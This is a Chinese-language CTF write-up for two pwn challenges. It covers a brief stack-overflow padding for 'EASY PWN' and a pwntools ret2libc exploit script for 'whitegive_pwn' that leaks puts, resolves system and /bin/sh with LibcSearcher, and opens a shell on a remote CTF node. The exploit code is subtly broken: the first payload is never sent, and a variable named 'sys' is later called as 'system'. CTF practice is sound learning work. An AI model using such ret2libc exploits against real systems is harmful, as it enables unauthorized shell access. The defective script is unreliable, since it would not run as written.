[GDOUCTF 2023]EASY PWN
使用checksec知道是64位文件
发现print_flag我们双击进入
发现flag藏在这里面,我们回头去看if(v5)的条件,知道我们V5不能为0,这里涉及了栈溢出
这个是我们要溢出的栈,直接b'a'*(0x1F+0x8)
还有一种方法直接nc然后输入大量字符
[SWPUCTF 2021 新生赛]whitegive_pwn
发现是64位文件
main函数里有vuln双击进入
发现只有一个gets,我们一看就知道这里是涉及了栈溢出
且这道题是没有system和binsh的,所有我们用到了ret2libc
首先要找到这道题目的rdi和ret
exp:
from pwn import *
from LibcSearcher import *
io = remote('node7.anna.nssctf.cn','27267')
elf = ELF('/home/xp/tm/bin/d')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']
ret = 0x400509
rdi = 0x400763
padding = b'a'*(0x10+0x8)
payload = padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
put = u64(io.recvuntil(b'\x7f', timeout=5)[ -6:].ljust(8, b'\x00'))
print(hex(put))
libc = LibcSearcher('puts',put)
base = put - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload1 = padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(payload1)
io.interactive()